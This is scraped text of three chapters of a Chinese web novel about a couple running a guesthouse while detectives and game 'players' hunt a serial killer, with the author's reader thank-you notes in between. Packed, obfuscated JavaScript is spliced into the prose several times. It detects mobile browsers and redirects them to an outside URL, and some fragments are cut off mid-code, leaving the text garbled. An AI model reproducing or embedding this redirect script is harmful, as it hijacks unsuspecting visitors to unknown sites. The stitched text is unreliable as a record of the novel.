l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594003|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边后,白唯就抓着他一阵狂咬。与此同时他们的床单也终于全被水给毁掉了。 白唯简直像是一只发/情又发火的猫。 这一轮结束后,卢森终于又解开白唯手上的绳索了。他把白唯抱在怀里,闻着他头发的味道,决定下定决心,和白唯谈谈他出轨的问题,自己部分的身份问题。 和自己接下来的变形方向。 “我们明天早上好好谈谈吧,宝宝。他说。 白唯懒洋洋地“嗯了一声,双腿还缠在他身上。 白唯对个人卫生非常注重。为了应对这点,卢森专门把白唯放在了旁边的沙发上。他进入衣帽间去找换洗床单,没想到刚从衣帽间里出来,白唯就消失了。 ……他老婆竟然还有力气!!! 卢森狂奔开门至走廊。此刻打通A栋和B栋的门还开着,就在这时,一个棒球棍向他迎面砸了下来。 还有一大包石灰粉。 “咚! 卢森应声倒地,他捂住自己的脸,似乎因为缺水有点扭曲。 附魔终于起了作用! 然而,和卢森到底同时发出的,还有另一个人的趔趄声。只是这声音很快就被掩饰住了。白唯实在是太累了,他毫无力气注意到这一点。 走廊另一边,莫霓一脸震惊地悄悄缩进了阴影里。 她都看到了什么?! 白唯用自己最后的力气把卢森拖进房门,绑在了柱子上。他喘/息了一会儿,换上了一套能出门的家居服,拿着车钥匙,打算出门跑去警局。 可就在他下楼奔赴至门口,正要用手打开门把手时,刺耳的门铃声又响了起来。 “叮咚! “叮咚!叮咚!叮咚! ” 不同于第一次铃声的不耐烦 “你非得这么按门铃吗?” “Doyouwannamakeasnowman~” 另一个女孩甚至阴阳怪气地唱起了歌。 “你这一路上是非得惹我生气吗?”另一个女孩不满地说。 白唯透过猫眼看见两个身着奇装异服的女孩站在门口。一个粉毛一个绿毛。 作者有话要说 感谢在2024-08-2104:29:35~2024-08-2203:23:06期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火箭炮的小天使:风绮゛5个; 感谢投出地雷的小天使:入尘无迹、我可不是什么幺蛾子、李四、李有病、无见夏1个; 感谢灌溉营养液的小天使:chaud.123瓶;AnnieY60瓶;春秋40瓶;换大蛇38瓶;花之约甚34瓶;香辣桑葚冰淇凌30瓶;qnhoiza27瓶;霜栖冷21瓶;别再碰抽卡游戏了喂、某茶嗣、七七、清渡、Sakura20瓶;某屑花露水的锚14瓶ino、和念、野生的杯子、柳暗花明、白马身上霜、一条?、糯糯滋、冰蓝蝶影、小马n什么时候暴富啊、木白10瓶;Yuri8瓶;静宁、無有dovis、虫疑、F筅森6瓶;脂肪丝神经团、爵嚼3瓶;亭台楼榭、呜呜呀、咕枯2瓶;朗、星行夜归、冰冰糖啵啵鱼、李有病、弃文高手、你好、627365、怎么还不能改名、龟爷爷、橙汁儿柠檬茶、外星史莱姆、五夏绝配、棒打鲜橙、时闻、suansuanchuchu、禾风听雨、句读、青舟、小小摸鱼家、我不管我嗑的cp一定、不爱了是你的谜底、72044130、Xxxx、踏雪若无痕、hi、莫提雅、等更中、嘎嘣脆花、长尾巴的兔子、凉凉、葱花鱼1瓶; 非常感谢大家对我的支持我会继续努力的! 第 74 章 第一杀手猜想 第74章第一杀手猜想 “好半天了,怎么还没有人过来开门?”绿毛说,“民宿老板睡了?” “那直接从窗户爬进去吧。” 粉毛说着就要动手。大门就在此刻被打开了。 “欢迎光临。” 听见声音时两个女孩都顿了一下。她们齐刷刷地转头,来人的本人果然与声音一样美妙。 “美男子诶!”粉毛高高兴兴地说。 她当然没想起来,自己曾和这个人在黑港城照过面。毕竟对于粉毛来说,这只是她非常短暂又偶然的一次照面。而在那之后,已经过去了将近一年的时间。 白唯不动声色地打量面前两人。他哑着声音说:“你们是来投宿的吗?但今晚……” “等下,我在黑港城见过你!”绿毛忽然道,“你在酒店当过服务生,是吗?还去过商场,跟踪过一个人!” !! 该死,这个绿毛女孩怎么会见过他,而且还把他给认出来了? 白唯目瞪口呆。 “什么?他该不会就是那个第一杀手吧,鸠占鹊巢?”粉毛探头探脑,开始打量白唯,“看着挺虚弱的,不太像啊。” 但她却同时拿出了武器,非常警惕地看着他。 “我不知道你们在说什么。这里是我和我老公的家。你们要是来住宿的,就说你们需要哪种房间。你们要是来找茬的,就出去!”白唯厉声道。 无论如何,他意识到他今晚的计划算是完蛋了。这两个人的突然出现,导致他甚至不能去警局告发卢森袭击韩默。直觉告诉他这两个人一定会因此给他惹出大麻烦,让他也无法脱身。 “等等,我看看。”绿毛忽然掏出了一个特制的眼镜。 “怎么样?” “是绿名。” “绿名啊……浪费了一次机会,再要用就得等24小时了。” 两个人嘴里说着他听不懂的话,白唯却骤生疑云。 “不好意思,我们是两个特工,到这里来追捕两名杀手,我们刚才有些过于警惕了。但这毕竟是威胁到我们自己的生命的事情。”绿毛诚恳道,“还有空房间吗?” 白唯就在此刻,忽然意识到了这两人的真实身份 。 黑港城的所谓玩家! 还有在北都把卢森追上绝路的那些“玩家”! 她们拥有克制卢森的方法! 电光火石之间白唯已经给出了自己的回答:“有几个单人间你们住201和202吧。” 他转身时粉毛却说:“不会吧他长得这么漂亮这家民宿也在地图上被特别标注了这里会没剧情?” 白唯低下头解开锁就在这时他发现背后鸦雀无声。 回头时他才发现两个女孩都在盯着他的后颈看还有他前面部分的脖子和裸露在睡衣外面的手腕、脚腕部分……白唯一下子就明白了其中原因并且很想骂人。 骂卢森! 两个女孩却毫无礼貌一个继续盯着他看一个对着客厅狂看。白唯感觉自己的毛都要炸了。 “我明白了是南铜。”粉毛高兴地说。 绿毛:“……这也行?” 白唯硬着头皮穿越走廊打开B栋门想要赶紧把她们扔到201和202去。101的门却在此刻被打开了。叶涵探出头来:“老板今天还有客人来啊?生意这么好……等等嗯?你是谁?” 两个女孩又齐刷刷地看向叶涵和白唯。 “……另一个老板。”白唯生硬地说。 “这里的老板不是一对小夫妻吗?”叶涵质疑。 粉毛女孩忍不住哧哧地笑了。绿毛表情严肃但也在忍笑。 白唯就在这个混乱的出轨之夜 “哦~~~” 他身后两个女孩怪叫一声。白唯立刻觉得压力更大了。而叶涵也在此时注意到了两个头发颜色很突出的女孩那一刻他也张大了嘴。 ——就是她们!黑港城的两个“玩家”! 在那两个神秘兮兮的黑衣人后一对玩家也跑到这个民宿里来住了! 这座小镇到底隐藏着什么样的秘密啊! 在与白唯擦身而过时叶涵骤然注意到白唯的手腕上有被绳索绑缚过的痕迹。他愣了下立刻以握手的名义试探:“你好你叫什么名字?” “白唯。” 白唯手指纤细柔软除了写作留下的茧外没 有任何经受过特殊训练的痕迹。 “你怎么在二楼的楼梯上?”绿毛说,“你也是二楼的住客吗?” “哦,不是。”莫霓有些不自然地说,“下雨,天太闷了,我去二楼的露台透透气。” 如果换在平时,白唯一定会开始怀疑这个黑衣女人,可他现在连洗脱自己的嫌疑都来不及,又怎么会把心思放在这个一看见他就充满警惕的黑衣女人上。 双方互相路过。黑衣女人和叶涵对视了一眼,又匆匆回到各自的房间里。 白唯则带着两个女孩分别进入201和202。粉毛说:“这床挺大的,睡两个人也够。” “我可不想和你睡同一个床。”绿毛对她翻白眼。 粉毛怪叫一声跳上床。白唯看她们两个一眼:“如果没有别的事情的话……” “别走啊,白小哥。”粉毛笑嘻嘻地说,“我有个事情想要打听一下,你看行吗?” “你们要打听什么?” “小镇上有什么关于连环杀手的传闻吗?又或者,关于怪物的传闻?” 白唯一顿,这两者当然都有,而且都和他的老公有关系。但他忽然想起,这两人是两个玩家。 她们会杀掉卢森吗? 思忖片刻后,他道:“我对镇上的事情不熟悉。如果你们需要的话,我可以明天去镇上打听一下……” “谢谢小哥。”粉毛说。 就在白唯即将关门离开时,绿毛忽然道:“其实我们还想打听一下,镇上有没有另一个人,符合画像的一个人。” “什么样的?” “他小时候应该住在黑港城。父母离异,母亲亡故,家族管教严苛,成年后又回到黑港城生活。有洁癖,性冷淡,有轻微强迫症和反社会倾向。当然,这两年他又从黑港城搬走了,不明原因,如果不出意外的话,他应该会一辈子都留在那里的。如果说他结婚了,他的婚姻也不会幸福。”绿毛说,“你认识这样的人吗?” 这绿毛说的,不就是白唯自己吗? 白唯一愣:“你找这样的人做什么?” “这是我们队长给出来的信息。这个人应该是个连环杀手,在黑港城干掉过不少人,但我们怎么都找不到。”粉毛耸耸肩,“如果能有他的信息的话就太好了。 ” “不清楚我在雪山镇不认识有类似的人。”白唯说。 他合上房门时出了一身冷汗。这两个人找卢森他可以理解毕竟卢森是在北都挂上号的坏怪物。 可她们要找的另一个人的描述怎么和他自己那么相似? 而且谁说他在黑港城杀了很多人了?他这辈子就没有成功杀过一个人好吗?白唯承认他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594004|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的确杀了他老公很多次可这不是都没有成功吗?而且玩家管什么家庭琐事? 白唯心事重重地推开二楼的门然后就被人从后面抓住了。白唯这时才想起来他还忘记了一个被石灰粉袭击的老公。 “……”卢森不说话只是咬牙切齿地抱着他。 白唯深吸五口气终于他在他们之间的破烂事中选择了一致对外。 “你看看你那个破民宿。”白唯同样咬牙切齿道“恭喜你!你的生意红火开张了!而我们有大麻烦了!” 另一边一楼和地下室的两个双人间里两对人分别陷入了夜谈。 “我想起来我为什么觉得卢森很眼熟了。”叶涵严肃地说“我见过他两次。一次是在一个海难现场。他是船上唯一的生还者但他拿了自己的东西就走了也拒绝警方采访。第二次是在北都两个月前他出现在爆炸现场的附近。而且你不觉得这个民宿很奇怪吗?里面住着这么多奇怪的人柱子上还有流弹痕迹。而且谁会在这里开个民宿?我怀疑这里其实是个接头点。” “海难?什么时候?” “三年前。” “我倒是想起来一件事。我有一个远房亲戚在法国。他长得和他的两个孩子倒是挺像。他们也是丧生在一场三年前的海难里。世界上难道有这么巧合的事情吗?”乔鲁说“或许我可以查查。” 叶涵看了一眼乔鲁。他忽然压低了声音小声道:“其实我怀疑这个卢森说不定就是我们要寻找的那个‘第一连环杀手’!” 与此同时在地下室里莫霓和莫索也在对坐谈话。 “事实上 至很多人觉得,‘第一杀手’或许是好几个人,他们听命于同一个老大的吩咐来行事。”莫霓如是说。 莫索也在沉思,点点头道:“莫霓,你比我善于思考,你是发现了什么吗?” “我只是想到一种可能性。一直以来,所有人都在塑造一种‘第一杀手’充满肌肉,十分健壮的印象。但有没有一种可能,这反而是第一杀手放出来的烟雾弹?所有的经历,肌肉,都是假的,他的实际身份之所以让人捉摸不透,正是因为真实的他和这毫无关系。” “他看起来,只是一个书生模样的人!” 作者有话要说 感谢在2024-08-2203:23:06~2024-08-2303:42:20期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:辞安2个;花花·安呐、岸月、李有病、琳、超低空飞行1个; 感谢灌溉营养液的小天使:山川尘盈89瓶;Tattoa50瓶;zyz、毛血旺好好食40瓶;某茶嗣36瓶;一个保守的姐姐23瓶;释然、有时成白首,无处问黄、沉、拌小卷儿、文荒惹20瓶;一位霸总、四十八18瓶;芜茗、啊榆yu15瓶;一饼14瓶;拂槛露华12瓶;琳、Kyabia、糖是甜的、冷翡、吸猫侠10瓶;归棠客、葳雨6瓶;你好、猫头鹰在黄昏、诺奇莫银、是阿蕊也是阿芯、徐徐5瓶;下颚线、yellow、瓶子4瓶;咕枯、亭台楼榭、人生海海、我说不言语云无归处、呜呜呀2瓶;suansuanchuchu、句读、CTA9M83、半夜叫喳喳、Xxxx、静宁、饮山、燃愁、是阿贝不是折射仪、冰冰糖啵啵鱼、羁云、非生命物质、lllyyyy、横滨殉情小天才、朗、小小摸鱼家、三七丁、sai、弃文高手、李有病、伊、不爱了是你的谜底、我是你爹、リューソース、怎么还不能改名1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 75 章 淡淡的血腥味! 第75章淡淡的血腥味! 尽管窗外大雨倾盆,打在玻璃上如不和谐的奏鸣,莫索依然压低了嗓子:“你的意思是……第一杀手的真实身份是……” 莫霓严肃地清了清喉咙。 “我怀疑,他是白唯!” 就在此刻,一道惊雷劈响,别墅里的灯光熄灭。二人暗中对坐,相对无言。 片刻后,莫索:“好的,白唯是谁?” “白唯是谁?……你这么快就把他的名字给忘了?他是我们这家民宿的另一个老板!”莫霓无语道,“刚才我在二楼走廊,看见他在袭击卢森!” “你的意思是……” “他逃离黑港城,流落至此,没有居住地,不得不阴差阳错,和卢森虚以委蛇。今天,他袭击卢森,拿着车钥匙,找到机会,本来是要把卢森处理掉,自己当这个民宿的主人的。”莫霓如此分析,“然而很意外也很遗憾,他遇见了玩家——他的天敌!” “如此一来,所有逻辑就都通顺了!” 二人再次相对无言。莫索说:“接下来怎么办?” “怎么办?你去小镇上打探,我去找白唯聊聊……” 就在此刻,屋内的灯光忽然又亮了。 门口传来两人的脚步声,和敲门声。莫索的心脏都被揪紧了。他藏着武器,小心翼翼地推开房门,看见卢森和白唯就站在门口之外。 他们穿着情侣款家居服,一大一小,一高一矮,如此迥异,却紧贴着彼此。卢森手里拿着手电筒,白唯手里端着蜡烛。 “你们……” “晚上好。”两人异口同声地说。 他们又彼此对视一眼。白唯道:“刚才那道雷让家里跳闸了。我们过来打开电闸,希望没有耽误到你们什么事。” “哦……没有……怎么会呢……” 这两个人像是被强行剪在一起的两张纸片,一举一动都暴露着诡异,偏偏两个人还伪装亲密得仿佛无知无觉。莫索看着他们,直冒冷汗。 “那就好。”卢森微笑,“我们去找下一户。” ……这话说得就像他们是什么恐怖游戏NPC似的。两个人转身,莫索目送他们走向一楼。 而后,他赶紧关门, 奔向莫霓。 在把所有人一户一户处理完后,白唯和卢森又回到了自己的大卧室里。白唯躺在干爽的床铺上,背对着卢森,冷淡道:“希望你已经把韩默处理好了。” 卢森面对着他的背,抱着他的腰,也在阴阳怪气:“亲爱的,希望你不要那么在乎韩默的生死。” 白唯懒得理会他。他困得不行,闭上眼直接关机。 在白唯呼吸逐渐均匀,平和的睡意传来后,卢森终于收敛了脸上的不开心。他小心翼翼地凑近,亲了一下白唯的侧脸。 “晚安,老婆。”他如是说。 天光已亮,雪山镇的这场雨却好像从来没有停歇的意思,以至于两队人马刚一睁开眼就处于警备状态。 莫霓小心翼翼地推门出去。当她上到楼梯第一层时,看见同样和她极富偷感的,还有一楼房间里出来的叶涵和乔鲁。 四人各自对视一眼,都处于警备状态。 “早上好啊。”有人说。 他们齐刷刷回头,惊诧于自己竟然没察觉到那人的气息。卢森此刻正规规矩矩地在厨房里煎蛋,桌子上摆着一堆培根和面包。 “这是给你们准备的早饭,也算是给你们提供的一顿接风洗尘了。”卢森开朗道。 看着桌上香气扑鼻的食物,两方都陷入沉默。最终,莫霓道:“白唯呢?” “他去买新鲜牛奶了……哦,已经迟到十分钟了,他不会是跑了吧?”卢森的表情变得有点阴郁。 “叮咚。” 白唯就在此刻推门,走进了一楼大厅。他的手里抱着牛奶。 卢森的表情一下子就变得很明媚:“哈哈,我开玩笑的。你看,他这不是已经回来了?” 两方人马再度:…… 看看!白唯果然是被卢森绑架了吧!——这是叶涵等人的想法。 白唯不会在牛奶里下了剧毒吧?!——这是莫霓等人的想法。 “什么玩笑?”白唯走到卢森身边。他的身上还带着点从外面带回来的水气,闻起来清清冷冷、温温柔柔的,就像是雪山镇的每个清晨。 “没什么。”卢森亲了一下他的额头,“我们坐下吃饭吧。” 他又看向莫索等人:“叶涵,莫霓,你们坐啊。” 此话一 出,谁敢不坐? 四个人规规矩矩坐在长桌一侧,白唯和卢森坐在长桌另一侧。对面两人仿佛无比恩爱,白唯一上来就给卢森倒了一杯牛奶:“老公,你喝啊。” 莫霓和莫索打了个寒战。 牛奶!有毒! 卢森给白唯拿了一块面包:“老婆,你多吃吃,少说话。” 叶涵和乔鲁按住了自己腰间的武器。 这算什么?!封口? 在白唯和卢森各自吃了一块面包和一杯牛奶后,四人这才稍微松了口气,开始吃自己的东西。卢森笑道:“哈哈,你们还真客气呢,非得等我们主人先动手,你们才肯吃。” ——明知故问。叶涵冒着冷汗想,他怎么敢吃第一连环杀手端上来的东西? ——可怜的老实人丈夫,他如此好客,甚至不知道自己的老婆是第一连环杀手。莫霓怜悯地想。 “我们不等二楼那两个小姑娘下来吃饭么?”白唯问。 “我把她们的那份留在吧台桌上了。等她们醒来,她们自然就可以吃了。”卢森如是说,“哦,那个不是甜黄油,是咸的。” 他熟练地把面包从白唯的手里抽出来,掏了一片新的,给他抹上专门买的甜黄油。而后,他像每个处理老婆不爱吃的东西的老公一样,把白唯抹错了黄油的面包塞到了自己的嘴里。 餐桌上四人都傻了眼。他们身后倒是传来了“咯咯”的笑声:“你们两个好恩爱呀~” “早。”绿毛说。 她们各自坐在两头的空位上,拿了自己那份开始吃。白唯询问:“你们昨晚睡得好么?” “还不错,就是雷声有点大。”绿毛说。 “你们今天有什么打算吗?” “我们打算在镇子里逛逛,打听打听有没有什么特殊传闻。”绿毛说,“白小哥你们呢?哦,我忘了今天是星期四,你们得上班吧?” 白唯看了卢森一眼。卢森说:“我下午会去修车店看看。早上我收拾收拾家里。” 白唯也耸耸肩道:“我是全职作家。今天在家收拾一下民宿。” “哦,好。” 白唯其实很想问问她们为什么要找“那样”一个人,到底是谁给她们拿出了一个“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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莫索干活顿时极为利索。莫霓则站在白唯旁边假装和他唠家常:“白小哥你是本地人还是前段时间搬来雪山镇这里的?” 而莫索就在此刻眼神一凛。他分明看见门缝底下有一根断掉的电线。 与此同时卢森也在花园里被叶涵堵住了脚步。 “所以后院有一个小木屋,还有个玻璃花房?真不错,这是所有热爱园艺的人都会梦寐以求的房子啊!叶涵夸奖道,“所以,那间小木屋里,放的是园艺用具吗? “对,我们平常用不到的一些园艺用品都会放在这里面。卢森笑道,“你要看看吗?有铲子、铁锹、斧头、电锯…… 等等,斧头和电锯是什么东西。叶涵顿时有点遍体生寒。他立刻道:“斧头和电锯? “这两个是我老婆买的,他说在花园里一定会用得上。 “这个破碎机……乔鲁举着手电筒,看了眼房间深处。 “用来把杂草打成粉末的。卢森热情地介绍道,“这也是我老婆买的。 “十/字弩…… “哦,这也是我老婆的收藏。 这明明是一个再普通不过的、放置园艺用具的小木屋,可叶涵置身其中,却总觉得有一种奇异感。多年来,他依靠这种警惕感侦破了无数大案要案。 斧头和锯子都被洗得光洁如新,绳索和钩子亦是。然而,在他途经一台破旧的除草机时,叶涵终于找到了诡异感的来源。 淡淡的血腥味! 作者有话要说